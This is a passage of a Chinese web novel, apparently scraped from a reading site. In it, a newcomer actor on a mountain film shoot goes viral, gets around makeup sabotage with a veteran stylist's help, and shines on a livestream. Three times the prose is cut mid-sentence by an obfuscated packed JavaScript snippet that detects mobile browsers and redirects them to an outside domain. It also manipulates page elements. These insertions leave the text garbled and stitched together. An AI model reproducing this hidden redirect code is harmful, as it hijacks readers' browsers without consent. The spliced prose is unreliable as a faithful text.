还有那句‘为了拍鸟,只好连人一起拍了’,被很多网友调侃说大爷眼里只有鸟,帅哥是一眼不看,很快就出来了衍生梗,有人路上碰见一个帅哥,说,‘唉,为了拍车,只好连人一起拍了’,或者公交车上遇到一个帅哥,说‘唉,为了拍拉环,只好连人一起拍了’。” 老冯大笑:“这届网友真挺会啊!” 宣传助理小深谨慎地接着汇报:“还有就是,因为沈老师在这组照片里被拍得很有神性,又被称作山神之子,就有观鸟佬随身携带,拍之前把照片搁树上,据说很灵,遇见小鸟和小鸟停枝上任拍的几率都增加了。观鸟圈子沸腾了,他们苦拍不到鸟久矣,沈老师硬是靠玄学又上了个热搜,不过在三十多位。” 万山导演摘下眼镜,惊讶:“还有这回事?” “确实是这样,”宣传助理小心猜测,“会不会是之前来这里拍戏时,祭山神真的起作用了?这话题度和流量真的跟天降的一样,买热搜的钱都省了。” 造型组长老季靠在蓝色塑料椅上,抱着手臂,插话:“换个人坐那儿能火上热搜?比如,换我坐上去,山神显灵我也摸不着热搜的边。” 围桌子坐着的一圈人都笑起来。 老冯还接了句:“把你照片搁树上,方圆一公里的鸟肯定全都被吓跑了!” “滚滚滚!”老季自己没憋住,笑了一阵,又说回来,“不过,我入行这么些年,被观鸟佬带上热搜,还是第一次见,所以说一个演员火不火,真是靠命。” 老季抱着的胳膊抬了抬,问旁边戴着鸭舌帽的导演,“万导,是趁着这一波,把山神之子的热度给接下来,还是怎么操作,给个准话?小深他们还等着你发话呢。” 宣传助理小深才进这一行,抱着平板,感激地朝老季笑了一下。 万山导演看着照片里,坐在晨光中和小鸟对视,透着一股平和的神性的哑巴少年,拍板:“宣传组你们商量商量,怎么把沈西辞是我们剧组的演员这个消息放出去,不能让网友觉得我们是在营销,引起反感。” 小深连忙点头:“我们昨晚已经连夜做了几个预案,回去就商量哪个效果更好一点。” 这时,有人把手机递过来:“万导,是叶制片。” 接过手机放到耳边,万山导演过了一会儿才开口:“叶制片,什么事?” 沈西辞九点过到的片场,今天有太阳,阳光从茂盛的枝叶间穿过,被切割的满地光斑,像湖面上粼粼的波光。 刚下摩托车,蓝小山就两百米冲刺跑了过来:“沈哥!沈哥!” 沈西辞看的很是惊险:“你刚刚差点绊树桩上了!” “绊就绊吧,我愿意!”蓝小山是一点不在意摔不摔跤,他站在沈西辞旁边,喷驱蚊喷雾的时候都在傻笑,一喷完就赶紧开口,“沈哥,我一开始就说,你肯定会火起来的!” 他又满眼期待:“沈哥,你说组里会怎么操作啊,买热搜?出采访?” 虽然不太忍心,但沈西辞还是直接道:“剧组什么都不会做,甚至可能会让法务去找那个拍小鸟的大爷,让大爷把照片撤下去。” 蓝小山脸上的笑容一点点散了,怔住:“怎、怎么会?沈哥你都上热搜了!你火了啊!” 他求助地看向盛绍延,“绍哥,这——” 盛绍延依然半张脸都藏在口罩下面,让人看不清表情,但他语气比沈西辞更加理智客观:“这部电影的资方,麟瑞传媒和导演万山占大头,制片人是麟瑞传媒影视事业部总经理叶眉,许令嘉不仅是叶眉的干儿子,更是麟瑞传媒艺人部的艺人。这部戏,麟瑞传媒和叶眉想捧的是许令嘉。” “所以就当热搜这件事没发生过吗?”蓝小山看看盛绍延,又看看沈西辞,别开脸,低声道,“我知道了。” 沈西辞见他失望,安慰道:“小山,我的路还很长,这个起点已经很不错了。” 至少比上辈子好很多,没有许家人来打扰,没有媒体成天编造他的曾经,没有水军和许令嘉粉丝的造谣和抵制,甚至还被拍鸟大爷带飞了。 蓝小山去副导演那里领新的的驱蚊喷雾,盛绍延跟沈西辞一起,走在剧组划出来的停车区域,他侧过脸去看沈西辞:“没有不开心?” 明明沈西辞才是最应该失望难过的,但他却还主动去安慰蓝小山。 “真的没有,”沈西辞语气很轻松,“刚刚跟小山说的就是我心里想的,更差的情况我都遇见过,这真的只是小事而已。况且,并不是没有转机,我一直相信事在人为。” 他眸子黑白分明,眸光明亮澄澈,仿佛阴云悬在上空,也不会将他身上的光彩夺去。 盛绍延放慢脚步,想了想,提起另一件事:“上次我不是找你拿了五千去炒股吗?” “嗯对。”沈西辞早就把这件事抛在了脑后,当时只想着,炒股什么的,能让盛绍延没那么无聊,说不定还能找回一点记忆。 盛绍延:“赚了一万三。” “哦,好——”尾音仓促,沈西辞猛地回过头,看着站在一片摇曳光斑中的人,不敢相信,“你说多少?” “一万三,加上本金,现在账户里一共有一万八。” 二十三号他才把用户名和密码发给盛绍延,24号开始才买入股票,今天几号,二十六号? 一万三! 穷鬼沈西辞紧盯盛绍延几秒,忽然毫无预兆地往前一冲,一下跳到了盛绍延身上。 双臂环着盛绍延的脖子,垂下的手指抓紧对方后背的衣服,沈西辞激动地语无伦次:“阿绍!你是哪路财神爷!你太厉害了!!” 扑的太突然,盛绍延往后退了一步,稳稳将人接住,几乎是让沈西辞坐在了他的右臂上。 确定周围没有人后,盛绍延另一只手扶稳趴自己身上的人:“很开心?” 沈西辞猛点头,一边用力拍盛绍延的背:“当然很开心!一万三!!两天拿到了百分之两百六的收益!” 盛绍延原本觉得一万三的收益很少,想着让沈西辞心情好一点才说出来,单手托着人,他不由地也跟着笑起来,难得话多了点:“我买了一支挂了退市风险警示的ST标识股票,这家公司有过并购重组的报道,还拉到了风险投资,摘帽当天直接涨停,再加上前两天新闻里就预示要出利好政策,我就加了杠杆。” “怎么感觉你在试图教会我?不学不学,你这种属于极限操作,根本学不来!”沈西辞实在太穷,一下被金币砸得头晕眼花,非常上头,隔了一会儿才发现自己竟然还趴盛绍延身上,赶紧跳下来。 手臂一空,盛绍延不动声色地将手插进衣兜里:“我想把这笔钱作为本金, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15032294|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续运作,不过,我想拿两百出来买点东西。” 是买小卡,但盛绍延不太想说出来,正想含糊着解释一下,就听沈西辞道:“从股票账户里提现不是很麻烦?我给你转了五百。” 听见手机响起提示音,盛绍延怀疑,不是说把他发过去的那几篇文章都认真看过了吗,怎么还是什么都不问,有求必应? 今天通告单上安排的几场戏都很难拍,沈西辞按照安排的时间,提前几个小时就坐到化妆间里等着。 蓝小山领了两瓶驱蚊喷雾回来,见化妆间里没别的人,才开口:“我刚碰见宣传的人了,她们悄悄跟我说,原本开会时导演都发话接下这波流量了,没想到叶制片打了个电话过来,观鸟大爷那组照片可能这两天就会被删。” 沈西辞正在看剧本和导演画的分镜,接话:“是不是让法务以侵犯肖像权和泄露剧组造型为理由,要求立刻撤图片?” 蓝小山焉焉地应道:“对,就是这样。” “都已经知道结果的事,就不要因为这个不开心了。”沈西辞心情非常不错,每次目光转向盛绍延,都觉得对方身上闪烁着一层金光! 账户余额加起来,不仅重回五位数,还是二开头! 等沈西辞把分镜来回看了好几遍,还模拟了一遍走位,发现一个小时过去了,化妆师还没过来,而且应该在同一时间段和他一起化妆的另一个配角也没有过来。 觉得不太对劲,沈西辞想了想:“小山,你去找找化妆老师,要是没找到,就去问问季组长是什么情况。” 十几分钟后,蓝小山回来了,身后跟着季组长。 沈西辞站起身:“您怎么过来了?” 蓝小山气的连“许老师”都不叫了:“负责给许令嘉化妆的老师扭了脚,今天请假,许令嘉就把我们这边的化妆师叫过去了,先是嫌人家画得不好,改妆都改了三遍,又说自己要上镜,要求化妆老师跟着随时给他补妆。” 沈西辞一听就明白了,这种情况在剧组并不少见,顺手使一下绊子,事情很小,但最后赶不上拍摄时间,耽误进度,被骂的很惨的就会是他,他看过通告单,听出一点蹊跷,转向季组长询问:“我记得许老师的戏排在我后面,应该不用这么急着上妆补妆吧?” 见沈西辞脸上没露出半点愠怒和不爽,情绪稳定,老季也说得仔细:“今天宣传组的人要做一个云探班的直播节目,和直播平台合作推流,打赏收益会捐给牺牲的边防战士的家属,片场还有在官博报名了的粉丝过来。直播过程中,会采访现场的演员和工作人员,播一些拍摄背后的事之类的内容。” 一听,蓝小山立刻转身往外走:“我去找找负责别的演员的化妆老师有没有空!” 沈西辞叫住他:“小山!” 蓝小山着急:“这是沈哥第一次正式出现在观众的视野里,绝对不能素颜!沈哥你长得很好看,但素颜在镜头下太吃亏了,以后会成为黑历史的!” 老季叹了声气,也叫住他:“你怎么就知道别的演员愿意把化妆师让给你沈哥?靠观鸟大爷的一组照片都能有这个热度,谁不忌惮啊?而且,为什么许少爷敢拘着化妆师不放人,难道叶制片没发话?” 这次探班直播,没几个人希望沈西辞出现在镜头里。 沈西辞思索两秒,问道:“季组长特意过来这一趟是?” 老季说的隐晦:“你帮过我,我总要给你个交代,不能让你不明不白的吃亏。” 他一直觉得沈西辞虽然是刚一脚踩进娱乐圈的新人,但不怯不慌,一直很稳,“事情你知道是怎么回事了,要怎么做,还要你自己决定。” “谢谢季组长,”沈西辞露出笑容,“您看,帮人帮到底,您既然出手了——” 老季打断他的话,摆摆手:“要化妆师我是真没有,这忙我想帮也帮不上。” 想到上一世发生的事,沈西辞开口:“我是想问,拍接下来这场戏的妆,可不可以麻烦您帮我画?” 13.第十三个鱼钩 指挥蓝小山去拿了一个东西齐全的化妆箱过来,老季用湿巾仔细擦干净手,打开箱盖,有些生疏地把化妆刷之类的工具整齐摆开。 蓝小山在旁边担心地捏手指,季组长这模样,看着也不太像会化妆的样子啊!跟组的人都知道,季组长在造型上确实很厉害,每个角色穿什么样的衣服,戴什么配饰,做什么发型,妆容走哪种风格,甚至群演扮的路人穿什么鞋季组长都能说的头头是道。 可会说不一定会做,季组长那双手做衣服还有点可能,化妆是真没人见过。 小步小步的,蓝小山悄悄挪到盛绍延旁边,着急地在手机上打字:哥你劝劝?咱们病急也不能乱投医啊! 盛绍延瞟了眼屏幕上的字,手揣着没动,只低声说了句:“相信你沈哥。” 老季在化妆箱里挑拣颜色:“这么多年没动手,只保证手不抖啊,什么效果不效果的,我也没底。”他边找边问,“你小子怎么知道我会化妆的?” “二十多年前,万导拍的第四部电影拿了奖,上过一个访谈节目,您是那部电影的造型指导。您在那个节目上说,您的外公徐慈生老先生以前是戏班里容妆科的梳头容妆师傅,后来成了国内第一代电影化妆师,您的母亲徐碧君老师女承父业,您从小就跟着母亲剧组戏院两边跑,家学渊源,您肯定会化妆。” 老季捏着一把刷子抬起头,是真的惊讶了:“二十多年前的访谈节目,那节目比你年纪都大吧,你从哪里翻出来的?” 沈西辞笑起来:“此时此刻,我要感谢强大的互联网!” 原因沈西辞其实只说了一半。 上一世,他在剧组化妆间遇到了三四年没见的老季,那时,老季风尘仆仆,听他喊“季组长”,愣了一瞬,摆摆手说,“哟,你竟然还记得,不过我早就不是组长啦!” 他请老季吃饭,饭后,老季抽着十块钱一包的双喜,聊起说,因为意外,他左腿跛了,剧组工作强度太高,他跟不上,不想耽误组里其他人,大家混饭吃都不容易,就主动跟万山导演请了辞。 老人有阿兹海默,家里经济负担重,他离开剧组后,开了一个影视造型培训班,赚点钱,有时间就研究琢磨,好不容易成立了自己的化妆品品牌,偏向上镜的妆容。 品牌成立容易,推广难,他到处跑剧组,找以前认识的化妆师造型师,挨着送样品免费试用,收集改进意见。有从前的熟人劝他说,老季,你都五十岁的人了,还折腾这些干什么。 沈西辞还记得,桌边,老季滑动打火机的砂轮,点了根烟,哑着嗓子说,“五十岁了,跟了大半辈子的剧组,也算闯出了些名声。 可年纪越大,躺在床上,眼前梦里出现的,都是我小时候低头躲开帘布,跑进戏院的后台,空气里一股油彩、胭脂、还有榆树胶混在一起的奇怪味道,到处都是花花绿绿绣着金线的戏服,那些刷子和笔,油彩和朱砂,真神奇啊,能刷出雪肤桃腮,点出绛唇红痣,就像描画了一场靡丽恍惚的美梦。” 他抬眼笑,“你看,拍电影不也是一群人聚在一起,造一场梦吗?” “五十岁了,落魄了,老了,才知道自己这辈子想要的是什么,可真要是什么都不做,会遗憾一辈子。” 那部电影妆造组的老大是老季带出来的,下午老季走之前,征得同意后,亲自动手,专门给他改了几处妆造细节,让妆感更贴合角色。 化妆灯明亮,老季眼神专注得近乎严肃,戴着口罩,粗糙的手指执着一支细毛笔,在沈西辞眉间描了一抹朱痕,又将就同一支笔,一笔勾勒出浓郁的红色眼线:“你这眼睛长得好,清亮有神,像是会说话,换成百年前的戏班子,你肯定是个名角儿。” 沈西辞闭着眼,笑道:“谢组长夸我。” “长得好都算不上夸,属于实话实说。你皮肤白,朱砂红在你脸上非常显色,出来的效果比我想的更漂亮。”老季打量面前的人,又换了支细毛笔,沾了点白色,在沈西辞眼尾飞出的眼线上方,添了一缕白,一线流云,灵动如同白鹤撩羽。 站直背,仔细打量了一圈,老季满意道:“一会儿要拍的是进山之前,山里原住民在村子里祭祀山神的场景,来,把手伸出来。” 沈西辞已经换上了哑巴少年的土布白袍,他把衣袖往上拉了一点,露出匀细的手腕,就见老季把笔尖蘸红,落在他手背的中指指骨上,沿着骨骼的线条,描画出一道鲜艳夺目的朱砂红纹路。 “行了,这才有点祭祀山神的模样!”老季怎么看怎么满意,一边把化妆工具挨着收进化妆箱里,“离开拍还有二十分钟,你现在过去绝对迟到不了。” “谢谢您,不然今天肯定会被万导骂。”沈西辞怕手上的颜料还没干,不敢乱动,从镜子里朝身后道,“我耳坠还没戴。” 蓝小山没动。 盛绍延迈开长腿走了过来。 沈西辞看了一眼,想着戴个耳坠而已,谁来都差不多,就没说什么,坐在椅子上等着。 半透明的方形盒子里,怕耳坠这种重要道具坏了或者不见了,一模一样的做了几个,盛绍延捻起其中一个,俯下身,手指碰到了沈西辞的耳垂。 很凉,触感细滑柔软,上面缀着一个小小的银钉,反射着薄光。 怕弄疼了沈西辞,他动作极轻地将耳坠挂了上去。 松开手指,蓝色晶石晃了晃,盛绍延重新站直,才敢呼吸。 沈西辞看看镜子里的自己,觉得老季的化妆风格和剧组里别的化妆师不太一样,可能是因为家里以前从事梨园行当,所以眼妆落笔更深,用色也更加大胆浓郁。 他问盛绍延:“好看吧?我觉得特别好看!” 目光在镜中和沈西辞相碰,眉间的红痕犹如火焰,本就生得极好的眼睛晕上浓彩,转瞬间就拥有了蛊惑人心的力量,但偏偏他眸光纯净,极致的反差对照反而令人不敢多看。 盛绍延移开视线,落在沈西辞手背,那一抹色彩如同雪上红梅,他颔首:“嗯,很好看。” 杂乱的拍摄场地中,一个穿着薄款运动服的女主持拿着麦,对着镜头:“……我知道钟岳老师很帅,但没想到这么帅!好的,我们现在要去找下一个演员了。” 她一边走一边拿着手机看实时弹幕,“我看看你们都说了什么,对,这边蚊虫非常多,我喷了大半瓶驱蚊喷雾,现在我就是移动的灭蚊机器!” 女主持停在一块平地上,念了几条弹幕:“嘉嘉?大家怎么都在喊嘉嘉的名字,好好好,感受到你们的热情了!既然如此,那就有请我们的新人演员——许令嘉!” 许令嘉从旁边走过来,站到了镜头下。 几乎是立刻,弹幕一层叠一层,界面因为各种打赏特效直接卡顿。 “——啊啊啊嘉嘉!姐姐好想你!我们嘉嘉越长越帅了!” “——宝贝拍戏辛苦了!要好好吃饭哦!!” 许令嘉摇摇双手,笑着朝镜头打招呼:“大家好,我是许令嘉,在这部电影中饰演的是一个看起来很坏,实际上又不是很坏的角色!因为拍摄的地方非常偏僻,拍摄也很忙碌,所以没办法经常和大家交流,这段时间,希望我的粉丝们不要爬墙哦,不然我会很伤心的!” 满屏幕都是“绝对不会”和各种表白。 主持人问道:“有观众在问,嘉嘉是穿的戏服吗,因为平时都是清新阳光大男孩的风格,还是第一次看嘉嘉穿这种黑色系的衣服。” 许令嘉:“是的,一会儿有一场很难拍也很重要的戏,所以我提前换好衣服弄好妆发,去拍摄现场等着开拍。” “——嘉嘉真的非常敬业!期待《山脉线》,期待嘉嘉的荧幕首秀!” “——这样的嘉嘉也很好看!妈妈爱你!” 又问了几个问题后,主持人跟许令嘉告别,拿着麦转向镜头:“好的,我们就不耽误嘉嘉的时间了,听说万山导演要求很严格,要是迟到的话嘉嘉会被批评的,祝嘉嘉拍摄顺利!” “我知道大家都很好奇嘉嘉的拍摄状态,我也很好奇,我们都从小看着嘉嘉长大哈哈哈,一会儿我去申请一下,看能不能带大家去拍摄现场看看!” 主持人说着,继续往前走,边走边道,“剧组为了取到实景,真的到了国境线边缘的大山里,吃住都非常不方便,拍戏环境也很恶劣,整个剧组的人都付出了很多,但大家能看到,现场的气氛很好,每个人都在认真做自己的工作,咦,雅歌姐?没想到我们又碰到了!” 这时,直播间里,冒出了几条弹幕。 “——主持人,你后面!卧槽!我的帅哥雷达动了!” “——摄像大哥!镜头镜头!” “——主持人快去采访那个人!白衣服那个!走过去了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15035247|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>主持人快走几步,和温雅歌打招呼:“雅歌姐,还没过多久,没想到我们又见面了!刚刚听嘉嘉说下一场戏非常重要,您现在也是要去现场吗?” “对,快开拍了,我收拾好了就准备过去。”温雅歌手上拿着一个水杯,见摄像机上挂着一个手机,显示的就是直播画面,她好奇地凑近了一点,“原来你们在直播间看见我是这个样子的?背后?我看见很多人在说后面有个帅哥,真的吗?” 说着,温雅歌转过身,看见远远经过的沈西辞,心里有点诧异。 许令嘉抢了沈西辞的化妆师,故意不让沈西辞化上妆,制片人那边准备压沈西辞热度这件事,剧组里的人多少都知道一点。但沈西辞一个新人,没人会为了他去得罪制片和资方,包括她。 温雅歌原以为,沈西辞等在化妆间里,要直到开拍后,导演发现人没来齐,才会有化妆师被派过去给他上妆。到那时候,直播云探班的人也已经走了,几乎彻底杜绝了沈西辞在直播间出镜的可能性。 但谁能想到,沈西辞一个没后台没背景的新人,竟然有办法化好妆做好造型,在开拍之前到达拍摄现场,没出差错,没迟到,让人想挑刺都挑不出来。 那她也不介意拉他一把。 温雅歌提高声音喊了一句:“沈老师,这里!” 快步往前走的沈西辞身形一顿,转过身,看到温雅歌,走了过来,白色袍角拂动。 “温老师,您叫我?” 听不出沈西辞到底是真不知道直播这件事还是演的,温雅歌开口道:“美术组还在布置场景,你这时候去了也只能在旁边等着,来,星海直播到组里探班,跟镜头前的观众们打个招呼。” 沈西辞依言看向镜头,笑道:“大家好,我是沈西辞,故人西辞黄鹤楼的西辞。” 弹幕停顿两秒,突然跟花屏了一般。 “——卧槽卧槽卧槽!这人是谁!!美颜暴击!” “——我刚刚竟然没呼吸!我的天!卧槽!” “——啊啊啊啊啊啊啊啊好看!太好看了吧!” 从满屏的弹幕中看出来观众的兴奋程度,虽然采访名单里没有“沈西辞”这个名字,但主持人立刻预感到,这肯定会是这场直播里的一个大爆点,她将话题引向沈西辞:“雅歌姐,请问这位是剧组的新人吗?能不能跟我们介绍一下?” “对,通过海选试镜进的组,虽然是第一次拍戏,但演技一点都不像新人,反而还很惊人。下一场戏主要就是拍他,所以他的妆比我们都要好看,真让人心里不平衡。”见摄像头去拍沈西辞的妆造,温雅歌又道,“他还有个技能也很惊人,沈老师,吹一段?” 沈西辞一听就明白,温雅歌这是在特意给他表演的机会,给观众留下印象,他没有拒绝,伸手从旁边的树枝上随便摘了一片树叶,含在唇间,吹了一首阿婆教他的本地小调。 “——卧槽,叶子竟然能吹响?好好听!” “——太妖了,太蛊了!!你好,结婚吗?” “——爱是克制,我努力克制不发表任何猥琐言论,艹!” “——这嘴唇这叶子,嘶,好涩,好好看!” 见沈西辞立刻就明白了自己的意图,毫不怯场,低垂的眼尾画着的红与白好似凤凰振羽,眉心的红痕和手背上蜿蜒的纹路增添了几分妖异的美感。 配上清丽悠扬一听入耳的曲调,像极了山神祭典上跳祭祀舞的少年。 温雅歌懒散站着,想,有的人要出头,只需要一个机会而已,不是这次就是下次,怎么可能拦得住。 没过多久,#星海《山脉线》探班直播#话题下,一大片和许令嘉有关的内容被压了下去,不断暴增的截图和录屏中,都是同一个人。 “——太冲击了,我真的盯着屏幕好久才缓过来,特别是闭着眼睛吹叶子那一幕,像是大祭司在和神灵对话!” “——难道没人觉得,这个新人很像观鸟大爷拍的山神之子吗![图片][图片]这他爹的绝对是一个人!这种颜值,难道还能一次出现两个?” “——美人!大美人!故人西辞黄鹤楼,他就是烟花三月的扬州!” “——太上头了!在直播间发完疯之后我又来这里发疯了,沈西辞演的哪个角色啊?微博名叫什么?赶紧把信息端上来吧求你了!!官博快出来营业了@山脉线剧组” 14.第十四个鱼钩 走到拍摄现场附近,已经能听见副导演拿着喇叭给群演讲戏的声音,沈西辞放慢脚步,认真道谢:“谢谢温老师给我这个机会。” “机会可不是我给你的,我只是顺手拉了一把而已。况且,你自己走了九十九步,我拉不拉这一把其实无关紧要,你自己也能想办法走到台前。” 温雅歌手指夹着没有点燃的薄荷烟,勾着红唇,眼波仿佛无时无刻不在撩人一般,“我也不是什么大好人,我只是在你还没起势时下几注罢了,等你红了,记得回报啊。” 尾音轻佻,一贯的让人看不出她是在玩笑还是真心索要,沈西辞却应承下来:“我努力不让温老师下的注成一场空。” 笑容更深,温雅歌夹着烟的手像风中的虞美人一样摇了摇:“行了,去拍戏吧,迟到了导演可是要骂人的。” 拍摄的地方在村长家的院子里,里外都是大大小小的拍摄仪器,高高的灯光架立着,灯光组的人已经来回调了一个多小时的光。 许令嘉低着头,正在给一个新来的群演签名,忽然听见那个群演问:“那个人也是演员吗?好好看!” 笔尖一歪,许令嘉忽然有种不太好的预感,他转过脸,正好看见沈西辞进了院子,不仅没迟到半分钟,连妆发造型都十分齐全。 这一刻,窜上来的怒气让许令嘉差点把笔砸出去,捏紧手指,好一会儿才把情绪勉强压下,许令嘉把笔递回去,朝那个群演露出笑容:“晚上我代表我干妈请来直播探班的工作人员吃饭,你们也记得一起来啊,想吃什么就点什么。” 群演抓着签名的本子,惊喜道:“群演也可以一起去吗?他们都说——” 许令嘉点点头:“当然,你们也是剧组的一员。” 群演是个年轻的女孩,她抱紧本子,声音有点克制不住的哽咽:“嘉嘉其实我跑到这边来当群演,就是为了见你一面,我真的很喜欢你,从很小的时候就喜欢了,你参加的每一个综艺节目我都会看,你好温柔,我真的——” 压下心里的不耐烦,许令嘉打断这种听过不知道多少遍的告白,安慰道:“不要哭了,妆哭花了上镜可不好看。” 沈西辞一到就被万山导演叫了过去。 把沈西辞从头到脚打量了几遍,万山满意地点头:“不错,你很适合这身打扮,一会儿演的时候,不用太刻意,找到‘山神之子’那组照片里的感觉就行。” 见沈西辞点头,他又问,“曲子真会吹了?” 编曲知道沈西辞会吹树叶后,大为惊喜,紧赶慢赶,硬是编出了一段曲子,让沈西辞在今天这场进山前祭祀山神的戏里吹奏。 谱子昨天才拿到,沈西辞树叶都吹破了不知道多少,好歹是记下来了:“会了,曲子不长,旋律简单但非常好听,不过树叶吹出来的声音有局限,现场收音的话,不知道效果好不好。” 只要能达到想要的效果,万山都不觉得麻烦:“这有什么妨事的,要是现场收音效果不行,那就后面进录音室录一遍,你先试试看。” 村长的院子里,山脉所在方向的位置上,垒着近一人高的山石堆,石面斑驳,覆着些许土渍和苔藓,顶端放有一根枝叶苍绿的树枝。 石碓前摆着五件祭品,盛在陶罐中的野果酒,色彩绚丽的山鸡羽毛,青翠的草药,一碗腾着热气的蒸肉和一块鲜红的朱砂。 老村长杵着一根泛出琥珀光泽的木杖,缓缓站到院子中央,木杖被高高执起,“嗵——”的一声沉响,杖尖重重砸在了地上,激起一片微尘。 他在瓦蓝的天空下,仰起头,枯瘦的脸上满是皱纹,高声吟唱着旁人听不懂的音调,像极了原始部落中沟通天地的巫祝。 与此同时,沈西辞在吟唱中闭上双眼,执起绿叶衔在唇间,清亮悠扬的叶笛声骤起,古朴苍茫感如旋涡般,将周围的一切山川草木都囊括其中。 土布白袍被一旁袭来的风吹动,这一刹那间,哑巴少年仿佛要御风行入云中,纵览林山,绝尘而去。 切成长段的松明堆叠在一处,被掷入其中的火柴点燃,浓烟升起,如同信使般飘向连绵的群山。 追缉组成员和卧底阿峥站在旁边观看仪式,年纪最小的小林忍不住搓了搓自己的手臂,小声道:“组长你快看看,我是不是起了一层鸡皮疙瘩?不过吹得真好听啊,要我是山神,我肯定过来看看到底是谁在吹!” 追缉组长张巡直视前方,穿着靴子的脚撞了撞小林的鞋帮:“闭嘴,尊重当地传统文化就行,唯物主义战士别一天神神叨叨的。” 吟唱声与吹树叶的声音缓缓停下,老村长黝黑干裂的手指伸进盛放朱砂的碟中,沾满指腹,在哑巴少年左眼下方的颧骨上,斜斜画下一道红痕。 哑巴少年上前,将叶子投入火堆中,端起装满野果酒的陶罐,“砰”的一声砸到了地上,水花四裂。 这场戏拍完,一个下午差不多就过去了,沈西辞估摸着自己砸陶罐的次数,没二十次也有十六七次,砸完重来,砸完重来,吹叶子更是吹得嘴唇都麻了,终于满足了万山导演“要把跳大神拍的不像跳大神,原始中带着一点神秘,自然中带着一点艺术,艺术但又不做作”的要求。 拿着湿巾,沈西辞去监视器后面,找正弯着腰看拍摄内容的万导。 “来问收音情况的?”万导见他过来,直起身笑道,“录音组说收的很不错,后期处理一下,多半不用再去录音室再录一遍了,倒是省事。” “那就太好了,”沈西辞用湿巾擦着脸上的朱砂,比划了两下,“我想着要收音,努力吹得大声了一点,没想到气息续不上,中途差点跟破风箱一样吹断了气。” 万导笑起来,指着监视器上回放的画面给沈西辞看:“你看,差点吹断气是值得的,还得再夸夸你,吹树叶这一点,你提的真的非常不错,如果没有这个小设计,这个场景很难达到这个美感,而且啊,跟吹笛吹哨比起来,吹树叶更原始,更古朴,在这大山里,更能显出人与自然的接触和碰撞。” “谢谢导演,您夸得我都有点惭愧了,”沈西辞一同望着监视器中的哑巴少年,说起自己当初的想法,“我当初只是想着,哑巴少年长在大山,不会手语,只有乱比划和神态动作,终归差点什么,想来想去,才想到了吹树叶,没想到会有这样的效果。” “你填补了哑巴少年缺失的灵魂。”万山导演转身拍拍沈西辞的肩,表情欣慰,“回去吧,好好休息休息,让人给你捏捏手臂,装满水的陶罐不轻吧?别明天手臂都抬不起来!” 片场的人已经走得差不多了,蓝小山拿着手机,见沈西辞回来,连忙两步迎上去,小心地压着声音:“沈哥!快看快看!星海《山脉线》探班直播的话题下面全都是你!不止这个,你看热搜,温老师和钟岳老师还有许令嘉,一共有五个话题在上面,沈哥你自己也有一个!” 沈西辞接过递来的手机,热搜榜上,#山神之子#已经爬到了十一位。 “我观察了一下,转发观鸟大爷微博的,大部分都是路人,这次探班直播,进来的基本都是钟老师温老师还有许令嘉的粉丝。一开始,好像还没人发现沈哥你就是那组照片里的人,后来,山神之子这个话题下面,就跟两方汇合了一样,一个疑惑观鸟大爷拍的山神之子怎么出现在了直播里,一个说直播里的人怎么在观鸟大爷相机里。” 蓝小山越说越激动,眼里满是高兴,“最主要的是,好多人跑到剧组的官博下面问沈哥你的情况!” 说完,他又担心,踟蹰着开口,“沈哥,现在热度确实非常不错,但上午制片那边才说要撤观鸟大爷的照片,不让沈哥你在直播里露脸,我们这样……算不算是把制片人得罪了啊?要是制片那边要求导演删戏份删镜头怎么办?” 蓝小山以前跟组时见过很多这样的情况,明明角色台词都有两页纸,辛辛苦苦拍完,等上映时,一个镜头都没了。 无论拍得多好多高光,剪了就是剪了。 “应该不会。” 沈西辞请老季帮他化妆,就是在赌,赌万导会顶住压力,不删哑巴少年这个角色和他的戏。 这部电影的大资方除了嘉瑞传媒外,万导也投了很多资金,并非一点话语权都没有。刚才他去找万导时,再次确定,万导确实偏爱和欣赏哑巴少年这个角色,所以才会在开机前,就为哑巴少年设计那么多精彩的分镜。 见沈西辞若有所思,一直跟在旁边的盛绍延开口:“不用太担心,从明面的资料来看,嘉瑞传媒并非制片人叶眉的一言堂,叶眉是影视事业部的总经理,他们集团内部,有一个叫崔运维的人跟她同级,三个月前,嘉瑞传媒的CCO也就是首席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15038814|162240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容官跳槽了,这个位置空了出来,两个人肯定都盯着这个位置。 叶眉想捧许令嘉,为自己增加竞争筹码和话语权,崔运维就绝不会捧许令嘉。出现一个能压制许令嘉、给叶眉添堵的人,是崔运维很愿意看到的。” 蓝小山眼睛睁大:“绍哥,你怎么这么清楚?难道你在嘉瑞传媒上过班?” 盛绍延没回答。 